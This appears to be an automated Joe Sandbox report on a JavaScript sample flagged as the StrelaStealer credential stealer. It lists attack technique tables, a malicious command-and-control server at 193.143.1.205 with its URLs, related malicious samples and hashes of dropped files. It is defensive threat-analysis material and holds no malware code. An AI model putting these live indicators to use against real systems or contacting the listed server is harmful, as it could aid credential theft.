Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3062912729105825642.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3341707018.00000285F4400000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2087333165.00000285F4160000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/p	net.exe, 00000007.00000003.2087518913.0000029D02B29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2088047798.0000029D02B29000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2087972404.0000029D02AF8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2088047798.0000029D02B29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2087113344.0000029D02B4C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2087972404.0000029D02AF8000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590529
Start date and time:	2025-01-14 08:38:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3062912729105825642.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 184.28.90.27, 162.159.61.3, 172.64.41.3, 23.209.209.135, 217.20.57.18, 2.16.168.107, 2.16.168.105, 23.47.168.24, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:38:58	API Interceptor	21x Sleep call for process: powershell.exe modified
02:39:02	API Interceptor	1x Sleep call for process: net.exe modified
02:39:02	API Interceptor	2x Sleep call for process: svchost.exe modified
02:39:14	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Rev5_ Joint Declaration C5 GER_track changes.doc	Get hash	malicious	Unknown	Browse	217.20.57.20
	40#U0433.doc	Get hash	malicious	Unknown	Browse	84.201.210.39
	Rev5_ Joint Declaration C5 GER_track changes.doc	Get hash	malicious	Unknown	Browse	217.20.57.18
	3.19.1+SetupWIService.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	217.20.57.18
	DOCS974i7C63.pdf	Get hash	malicious	HTMLPhisher	Browse	217.20.57.20
	DOCS974i7C63.pdf	Get hash	malicious	HTMLPhisher	Browse	217.20.57.18
	https://support.wt-nx.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	84.201.210.39
	https://support.rv-rw.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	217.20.57.19
	https://findmy.cl-ew.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	217.20.57.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307240545456233
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugY:gJjJGtpTq2yv1AuNZRY3diu8iBVqF6
MD5:	3E25A8B8B2DB57E4291089E4D9962930
SHA1:	BC9A8EE5425865597A4ED577A2D685E360E77A1D
SHA-256:	FA845D8817C9B38C420E35DA1F2CDA2852A47DFE1F1B4114B7B4208CC436AEB5
SHA-512:	C53B3DB429AEED6F4966B0EE72899F31EA50AA7148B3AD4F11CF79A3012244A3B46C7A4834051C676D5E0A7CEB070323DB57DEFE3C1957F4E6E6887A9A095498
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x87825bde, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585982846411746
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	882BBA2F58DEA761A48551EA90D03AF8
SHA1:	37EA953936683AF3D49705C5549E4BE052C08A13
SHA-256:	5DB18D389837723DEED50D6F7B68677EFCFEB2A2722F9D515D822804437CC0CD
SHA-512:	9CE40C66C14F6A547E95773D19EF203375CEAB60C2EFEF03912E75D4B48F88BF32DE9AC7DC3A39DE8F005D6E478A6234CE7E22246022E71822877D3DC2458B44
Malicious:	false
Preview:	..[.... ...............X\...;...{......................0.z..........{...'...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................!..'...}...................5..'...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0807536976492775
Encrypted:	false
SSDEEP:	3:WyiyYeQPyZGkGuAJkhvekl1z/nhA1allrekGltll/SPj:1dz2yzrxl1hAQJe3l
MD5:	09C53BDEA3F6CA60A8FAE8E42A0CB807
SHA1:	B1413C2BBECEBF60BE136091783B6575078577A5
SHA-256:	5CD7D872F4C37B9BF34AF5CB35429D79CC76D9458E8C631EDF851DBD1A5834EE
SHA-512:	79FEFE00B7DBBCE4B42FE519A3F55088A6C7E85F4E43FEC00538212D6E39A86193E98D2BA9C05AB7F44CFD45185CBE5F134AD2E16173FB2705C79E5AD77BB0F9
Malicious:	false
Preview:	...W.....................................;...{...'...}.......{...............{.......{...XL......{....................5..'...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.206773897536351
Encrypted:	false
SSDEEP:	6:iO8uN+q2P92nKuAl9OmbnIFUtWSa9XZmwoSa93VkwO92nKuAl9OmbjLJ:7Gv4HAahFUtLa9X/9a9F5LHAaSJ
MD5:	92DB13DF55D9CF57C233E7A717038146
SHA1:	9086DB6DC28B76E244DB7F85A577424CB386AFBB
SHA-256:	A07F19328317D834988AF084BEDCB05C86DCF48ED800A26A26CFDB9259B53306
SHA-512:	0D59D1B178B438DAFCB3CC2501B2BD0D69FD6554C317FDEF0358FA0AE7EC543A796A63B13B81D13835AA35B2E4FBDF75FAB143AC97CBA8B5AA75813D8BAFC1CD
Malicious:	false
Preview:	2025/01/14-02:39:01.999 578 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-02:39:02.003 578 Recovering log #3.2025/01/14-02:39:02.003 578 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.206773897536351
Encrypted:	false
SSDEEP:	6:iO8uN+q2P92nKuAl9OmbnIFUtWSa9XZmwoSa93VkwO92nKuAl9OmbjLJ:7Gv4HAahFUtLa9X/9a9F5LHAaSJ
MD5:	92DB13DF55D9CF57C233E7A717038146
SHA1:	9086DB6DC28B76E244DB7F85A577424CB386AFBB
SHA-256:	A07F19328317D834988AF084BEDCB05C86DCF48ED800A26A26CFDB9259B53306
SHA-512:	0D59D1B178B438DAFCB3CC2501B2BD0D69FD6554C317FDEF0358FA0AE7EC543A796A63B13B81D13835AA35B2E4FBDF75FAB143AC97CBA8B5AA75813D8BAFC1CD
Malicious:	false
Preview:	2025/01/14-02:39:01.999 578 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-02:39:02.003 578 Recovering log #3.2025/01/14-02:39:02.003 578 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.191750885291066
Encrypted:	false
SSDEEP:	6:iO8Sd+q2P92nKuAl9Ombzo2jMGIFUtWSWZmwoS19VkwO92nKuAl9Ombzo2jMmLJ:7hYv4HAa8uFUtLW/91D5LHAa8RJ
MD5:	1DC4FC70844A5A2449BD9799BA914618
SHA1:	304B5F9594C5F9CD317987280092C9D2AE1DF29A
SHA-256:	D411C5551F1D04B75AF1CC203DF8305FF9E5E9EECB029344E97AA9538E62E781
SHA-512:	027158020BB146B099B5962A6FBD3EC1FD7DBFD89E74C31335009D6C545B558850DFB2B5BF1C93587F78A99B160F3ADAB1BC9E6265ECF02AAE12117678767B82
Malicious:	false
Preview:	2025/01/14-02:39:02.130 718 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-02:39:02.133 718 Recovering log #3.2025/01/14-02:39:02.136 718 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.191750885291066
Encrypted:	false
SSDEEP:	6:iO8Sd+q2P92nKuAl9Ombzo2jMGIFUtWSWZmwoS19VkwO92nKuAl9Ombzo2jMmLJ:7hYv4HAa8uFUtLW/91D5LHAa8RJ
MD5:	1DC4FC70844A5A2449BD9799BA914618
SHA1:	304B5F9594C5F9CD317987280092C9D2AE1DF29A
SHA-256:	D411C5551F1D04B75AF1CC203DF8305FF9E5E9EECB029344E97AA9538E62E781
SHA-512:	027158020BB146B099B5962A6FBD3EC1FD7DBFD89E74C31335009D6C545B558850DFB2B5BF1C93587F78A99B160F3ADAB1BC9E6265ECF02AAE12117678767B82
Malicious:	false
Preview:	2025/01/14-02:39:02.130 718 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-02:39:02.133 718 Recovering log #3.2025/01/14-02:39:02.136 718 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047619782450744
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFsBdOg2Hagcaq3QYiubxnP7E4T3OF+:Y2sRdsfdMHaL3QYhbxP7nbI+
MD5:	1206CA219AFCA302254D19064551EE10
SHA1:	C8475486E89A270A622A89CFBC91631262204351
SHA-256:	D533B4E38CFFEBCC6B8E89FF433A68E3BEAC8D6D973113AB7BF352DBA6BD0EDC
SHA-512:	49AC6DEA2CCDA3AEE4E151E8A220830B5926EEDEAC6E35854F6CBE8D170B354EDFD064F0B7D32B02358D412EDC292F3858927E20BD48989E8F375759C6558E64
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381400354619513","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125401},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e7c39b57-08ac-49ca-858a-7e472773334d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.047619782450744
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFsBdOg2Hagcaq3QYiubxnP7E4T3OF+:Y2sRdsfdMHaL3QYhbxP7nbI+
MD5:	1206CA219AFCA302254D19064551EE10
SHA1:	C8475486E89A270A622A89CFBC91631262204351
SHA-256:	D533B4E38CFFEBCC6B8E89FF433A68E3BEAC8D6D973113AB7BF352DBA6BD0EDC
SHA-512:	49AC6DEA2CCDA3AEE4E151E8A220830B5926EEDEAC6E35854F6CBE8D170B354EDFD064F0B7D32B02358D412EDC292F3858927E20BD48989E8F375759C6558E64
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381400354619513","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125401},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234305942073786
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUUuM4G:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLh
MD5:	9E326DB15AD43F3F8B3EE8C435BD7407
SHA1:	3B207573EE5AB468625387643C5E00E3D0ED220F
SHA-256:	1EEEBA43D607FCFE5BAD9D4FFF6F8B009B950C952FDD9BA248F8FEA032086380
SHA-512:	7BBB76869ABD27D343887BAC95754BDB7D19B6E884A61DA25C29EADA3DDC6E41079A6762C03A625643B834459CC37624C17DB4278B275BC58D49E2C12E60EBBA
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.202800023424399
Encrypted:	false
SSDEEP:	6:iO8SISUX9+q2P92nKuAl9OmbzNMxIFUtWS8HZZmwoS1oW9VkwO92nKuAl9OmbzNq:7hIX4v4HAa8jFUtL85/9qo5LHAa84J
MD5:	ED225AA64EB0BCA752986420C0D854BC
SHA1:	1497ECC380B6E38E84589D0D1EE286B0F3A85594
SHA-256:	C1945BD060423DF53CC131DB3D926F823A076C1C3B78002BD22139241D953C69
SHA-512:	CF7DAED0A046EA5EAE08A77C3E04046C7882C8A2517115DF852D6601D8584AF71972077286290D671ABF215669765D4AF0432CCF1C7B610D507E5463BF925301
Malicious:	false
Preview:	2025/01/14-02:39:02.184 718 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-02:39:02.188 718 Recovering log #3.2025/01/14-02:39:02.189 718 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.202800023424399
Encrypted:	false
SSDEEP:	6:iO8SISUX9+q2P92nKuAl9OmbzNMxIFUtWS8HZZmwoS1oW9VkwO92nKuAl9OmbzNq:7hIX4v4HAa8jFUtL85/9qo5LHAa84J
MD5:	ED225AA64EB0BCA752986420C0D854BC
SHA1:	1497ECC380B6E38E84589D0D1EE286B0F3A85594
SHA-256:	C1945BD060423DF53CC131DB3D926F823A076C1C3B78002BD22139241D953C69
SHA-512:	CF7DAED0A046EA5EAE08A77C3E04046C7882C8A2517115DF852D6601D8584AF71972077286290D671ABF215669765D4AF0432CCF1C7B610D507E5463BF925301
Malicious:	false
Preview:	2025/01/14-02:39:02.184 718 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-02:39:02.188 718 Recovering log #3.2025/01/14-02:39:02.189 718 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFklfnQ+EvfllXlE/HT8kvltNNX8RolJuRdxLlGB9lQRYwpDdt:kKKT86NMa8RdWBwRd
MD5:	13E2EBE3098FF56F95A7A5A63A0BF34A
SHA1:	4E30C56A8F205D89D6CE6F488B222C9150B1DF8C
SHA-256:	6479168DCCBBFF3446ABE184EACADCA71B0FC6A9F3A34C28B23B2B0A5C7D2889
